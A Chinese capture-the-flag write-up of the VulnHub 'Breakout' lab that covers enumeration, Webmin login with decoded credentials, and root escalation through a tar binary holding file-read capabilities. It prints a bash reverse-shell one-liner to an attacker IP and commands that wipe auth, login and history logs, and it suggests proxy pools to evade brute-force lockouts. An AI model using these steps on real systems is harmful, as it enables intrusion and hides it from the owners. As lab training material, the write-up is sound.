vulnhub靶场之breakout

empire靶场2

前言

靶机:breakout

攻击:kali

续接上个靶场empire1的继续学习

主机发现

使用arp-scan扫描或者直接查看虚拟机的ip地址

在这里插入图片描述

信息收集

使用nmap扫描

在这里插入图片描述

  1. 端口80apache 2.4.51
  2. 开启smb服务的两个端口139、445,版本4.6.2
  3. 两个http服务采用miniserv(webmin)
  4. 操作系统为linux 4.x或5.x
访问查看

查看80端口网站信息,是搭建apache后的默认页面

在这里插入图片描述

查看页面源码,再最后面发现一串加密的字符。

在这里插入图片描述

进行分析解密

在这里插入图片描述

在这里插入图片描述

查看10000端口的网站信息,是个登录界面

在这里插入图片描述

查看20000端口网站信息,同样是登录

在这里插入图片描述

扫描网站目录

80端口并无好东西,因为本身就是一个默认的界面

在这里插入图片描述

扫描10000端口

在这里插入图片描述

访问robots.txt发现只有一个根目录,没有价值

扫描20000端口

在这里插入图片描述

打开robots.txt文件同样没有东西

检测smb服务

使用enum4linux工具来查看smb服务的一些信息

enum4linux -a -o 192.168.1.29

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

至此信息收集完毕,尝试进行攻击

小结获取到的信息

  1. 获取到一段加密后的字符.2uqPEfj3D<P'a-3
  2. 从smb获取一个本地用户cyber
  3. 10000和20000端口是登录界面,并是miniweb

漏洞寻找

在10000端口和20000端口的网站尝试万能密码进行测试

输入1' or 1=11' or '1'='1,直接说用户名错误

在这里插入图片描述

在这里插入图片描述

基于前面收集到该端口的信息可以知道,是miniserv,搜索有无默认登录密码

搜索到miniO browser默认账户和密码都是minioadmin并且是管理员权限

进行测试,发现登录变了,不再是用户名错误,而是登录失败,说明有这个用户名

在这里插入图片描述

尝试进行爆破,多次尝试,大概7次左右吧,就被封锁IP,不过大概1分钟后会恢复登录页面

在这里插入图片描述

抓包分析,是根据什么进行封禁的IP地址

发现并无x-forwarded-for类似的http头,说明是通过连接时获取IP的,那么这里无法伪造IP,但是可以通过代理池的方式来绕过这个IP封禁进行爆破

不过因为是相当于内网环境,代理池基本上没用上,所以这里换方法

漏洞利用

之前获取到的一个用户名和一串加密后的字符,尝试登录cyber .2uqPEfj3D<P'a-3

登录成功

在这里插入图片描述

这里可以找到几处利用点,每个功能模块都点击测试一下,有一个文件管理工具,可以上传文件,一个ssh终端,在web页面就可以调用,并且直接连接,可以在文件管理中看到SSH认证的相关文件,在.ssh目录下

并且还有一个命令执行SHELL,不过可以直接连接,就可以暂时不需要

不过还有一个密码更改需要注意,万一有可绕过的业务漏洞呢。不过抓包后发现,是有一个uid,这个是网站自己生成的很长的字符串,不好进行操作

在这里插入图片描述

在这里插入图片描述

功能很多,但是都比不过可以直接使用ssh连接,因为就算是shell成功,也还是当前用户的权限

在这里插入图片描述

在这里插入图片描述

使用ssh连接终端,先查看一些权限问题

在这里插入图片描述

提权

当前文件下有两个文件,并且tar命令竟然在这,而且有执行权限

在这里插入图片描述

既然给出这个命令,说明要么有需要解压的包或压缩的包,反正应该是有信息的

使用compgen -c来查看find命令当前用户可用吗

在这里插入图片描述

使用find尝试搜索关键字flagpass*user*

文件实在太多了,看花眼了,这里可以看到应该是隐藏备份文件,尝试能否访问

在这里插入图片描述

无法直接访问,那么在当前目录下有tar命令,把目标打包到这里,然后解压查看

在这里插入图片描述

在这里插入图片描述

获取到一个密码,不过并不知道是谁的,所以,可以先查看/etc/passwd有哪些用户

在这里插入图片描述

然后可以一个一个的试试

在这里插入图片描述

但是这里还没有输入密码就直接跳出权限错误,而且su是有SUID的,不清楚,不过既然已经进入,直接查看是否可用bash,可用的话,就反弹一个shell,这里不行的话,还可以使用wget进行下载,比如python的等等

当然也可以尝试从网站重新登录,以root的身份,因为在前面查看/etc/passwd的时候,发现cyber是在其中的,说明root也有可能是能够登录网站的

在这里插入图片描述

bash -i >& /dev/tcp/192.168.1.16/9999 0>&1	在靶机执行
nc -lvvp 9999	在kali执行

在这里插入图片描述

提权到root成功

在这里插入图片描述

清除痕迹

删除auth
echo > auth.log
删除btmp
echo > btmp
删除wtmp
echo > wtmp
删除lastlog
echo > lastlog
删除命令的历史记录
history -r

暂时在/var/log目录下无其他日志文件

总结

  1. 养成经常看页面源代码的习惯

  2. 涉及到简单的密码破解,可以增长记忆,这里是brain

  3. enum4linux的使用,可以清晰的看到SMB的好多内容

  4. 结合收集到的所有信息进行尝试,这里只给出网站,并且可登录,就根据自己的信息去尝试

  5. 对于登录到网站系统中的时候,对于网站的功能,都点击进行测试,比如有修改密码等操作时,就可以抓包分析

  6. 妥善使用compgen -c来获取当前用户的可用命令,配合grep进行筛选

  7. 记得一些敏感文件的常用关键字,如密码,可能文件名中就有pass

  8. 命令getcap的使用,附在最后吧

  9. 反弹shell的时候,反弹就是对方主动来连接你

    bash -i >& /dev/tcp/ip/port 0>&1

getcap是一个用于查看文件的能力(capabilities)的命令。在 Linux 系统中,文件能力是一种细粒度的权限机制,它允许对程序的权限进行更灵活的控制,而不是仅仅依赖传统的用户 / 组 / 其他(ugo)权限位。

  • cap_dac_read_search是一种文件能力。具体来说,cap_dac_read_search能力允许一个进程绕过文件读取、目录读取和可执行文件搜索的常规文件权限检查。
  • =ep是一种设置权限的方式。e表示启用(effective),p表示许可(permitted)。这意味着为tar程序设置了cap_dac_read_search能力,并且这个能力在程序执行时是有效的和被许可的。这样,tar程序在执行某些操作时(如读取文件和搜索目录)可以绕过传统的基于用户 / 组 / 其他的访问控制(DAC - Discretionary Access Control)权限检查。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/61860.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

今天你学C++了吗?——C++中的类与对象(第二集)

♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨ 个…

聚划算!一区算法!双分解+牛顿拉夫逊优化+深度学习!CEEMDAN-VMD-NRBO-Transformer多元时序预测

目录 效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CEEMDAN-Kmeans-VMD-NRBO-Transformer融合K均值聚类的数据双重分解牛顿-拉夫逊优化算法Transformer多元时间序列预测&#xff08;完整源码和数据&#xff09;运行环境Matlab2023b及以上。 2.CEEMDAN分解…

C++设计模式-中介者模式

动机(Motivation) 多个对象相互关联的情况&#xff0c;对象之间常常会维持一种复杂的引用关系&#xff0c;如果遇到一些需求的更改&#xff0c;这种直接的引用关系将面临不断的变化。在这种情况下&#xff0c;可以使用一种”中介对象“来管理对象间的关联关系&#xff0c;避免…

滑动窗口篇——如行云流水般的高效解法与智能之道(2)

前言&#xff1a; 上篇我们介绍了滑动窗口的含义并结合基础题型加以练习&#xff0c;本篇将以进阶难度的题目为索引&#xff0c;深化对于滑动窗口的运用与理解。 一. 将x减到0的最小操作数 题目链接&#xff1a;1658. 将 x 减到 0 的最小操作数 - 力扣&#xff08;LeetCode&am…

SCI论文部分题目

SC20243213 通过氢和氨集成增强Power-to-X灵活性和可持续成本降低&#xff1a;绿色实验室Skive案例研究 SC20243211 分析同时发电的综合系统中的能量和能量效率、环境影响和经济可行性&#xff0c;淡水、热水和天然气凝液 SC20243208 双燃料生物质-天然气系统中的氢、…

EG3D: Efficient Geometry-aware 3D Generative Adversarial Networks 学习笔记

1 Contributions 混合显式-隐式网络架构&#xff1a;提出了一种 Tri-plane 的3D表征方法&#xff0c;结合显式体素网格与隐式解码器的优点 速度快&#xff0c;内存效率高&#xff1b; 支持高分辨率生成&#xff0c;保持3D表征的灵活性和表达能力。与纯显式或隐式方法相比&#…

Android——连接MySQL(Java版)

Android——连接MySQL(Java版) 目录&#xff1a; Android——连接MySQL(Java版)一、JDBC1、什么是JDBC2、载入JDBC3、创建JDBC的工具类 二、使用数据库 一、JDBC 1、什么是JDBC JDBC全称Java Database Connectivity&#xff0c;译为Java语言连接数据库&#xff0c;是sun公司制…

c++中操作数据库的常用函数

在C中操作数据库&#xff0c;尤其是MySQL数据库&#xff0c;主要通过MySQL提供的C API或MySQL Connector/C库来实现。这些库提供了一系列的函数&#xff0c;使得开发者能够在C应用程序中执行数据库的连接、查询、更新、删除等操作。以下是C中操作MySQL数据库的一些常用函数&…

Java 获取本机 IP 地址的方法

文章目录 一、使用 InetAddress.getLocalHost二、遍历网络接口获取 在 Java 编程中&#xff0c;若有本机的 IP 地址的需求&#xff0c;小编来展示一下方法&#xff1a; 一、使用 InetAddress.getLocalHost 一是最基本的获取本机 IP 地址的方式。 示例代码&#xff1a; impo…

⭐ Unity 资源管理解决方案:Addressable_ Demo演示

一、使用Addressable插件的好处&#xff1a; 1.自动管理依赖关系 2.方便资源卸载 3.自带整合好的资源管理界面 4.支持远程资源加载和热更新 二、使用步骤 安装组件 1.创建资源分组 2.将资源加入资源组 3.打包资源 4.加载资源 三种方式可以加载 using System.Collections…

C++《二叉搜索树》

在初阶数据结构中我学习了树基础的概念以及了解了顺序结构的二叉树——堆和链式结构二叉树该如何实现&#xff0c;那么接下来我们将进一步的学习二叉树&#xff0c;在此会先后学习到二叉搜索树、AVL树、红黑树&#xff1b;通过这些的学习将让我们更易于理解后面set、map、哈希等…

使用go实现流式输出

流式输出的深度剖析 之前一直在调用openai的key&#xff0c;只是照着文档进行流式调用&#xff0c;也只知其确是流式与api有所不同&#xff0c;而未成体系深究其实现原理。 就以openai的官方流式输出为切入。 概述 流式输出&#xff08;Streaming Output&#xff09;是 HTT…

使用VisualStudio编写C++程序输出helloWorld

文章目录 1. C简介1.1 历史背景1.2 特点1.3 应用领域 2. 操作过程和代码2.1 打开Visual Studio(默认你下载了C的相关文件)2.2 创建新项目2.3 输入名字&#xff0c;创建2.4 右击源文件->添加->新建项2.5 命名好&#xff0c;进行添加2.6 输入代码2.7 输出结果 3. 总结 1. C…

万能的无人机锁定目标投放程序

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

LayaBox1.8.4实现UV滚动

实现思路&#xff1a; 在片元着色器采样时&#xff0c;增加一个随时间变化的偏移值&#xff0c;由于uv是一个二维向量所以加的偏移值也需要一个二维向量。注意&#xff1a;在Laya的 shader中除了0&#xff0c;输入其它数字必须输入带有小数的数字&#xff0c;否则报错 。 &quo…

Next.js- App Router 概览

#题引&#xff1a;我认为跟着官方文档学习不会走歪路 一&#xff1a;App Router与Page Router 在 v13 版本中&#xff0c;Next.js 引入了一个基于 React 服务器组件 构建的新的 App Router&#xff0c;而在这之前&#xff0c;Next.js 使用的是Page Router。 目录结构 pages …

Android studio与JS交互

文章目录 前言一、html二、使用步骤1.2.AS 总结 前言 最近在使用Android Studio的WebView,有些功能要AS与JS交互。 一、html html文件 <!DOCTYPE html> <html> <!--javascript--> <head><meta charset"utf-8"><title>Carson…

【LeetCode面试150】——228汇总区间

博客昵称&#xff1a;沈小农学编程 作者简介&#xff1a;一名在读硕士&#xff0c;定期更新相关算法面试题&#xff0c;欢迎关注小弟&#xff01; PS&#xff1a;哈喽&#xff01;各位CSDN的uu们&#xff0c;我是你的小弟沈小农&#xff0c;希望我的文章能帮助到你。欢迎大家在…

CPU性能优化--采集调用栈

我们可能经常会遇到程序中热点函数被多个调用者调用的情况&#xff0c;这样就需要知道哪个函数调用foo的次数最多&#xff0c;应用程序的库函数出现在热点处。要理解为什么特定函数会呈现为热点&#xff0c;我们需要知道程序的控制流图中的哪条路径是最热的。 Intel VTune prof…

简单测试下faiss 检索速度

在NLP的应用中&#xff0c;经常需要用到对向量的搜索&#xff0c;如果向量的数量级非常大&#xff0c;比如1千万&#xff0c;甚至上亿条&#xff0c;普通的方式就满足不了生产需要了&#xff0c;falcebook开源的faiss框架能够解决“海量向量搜索”的问题。faiss是为稠密向量提供…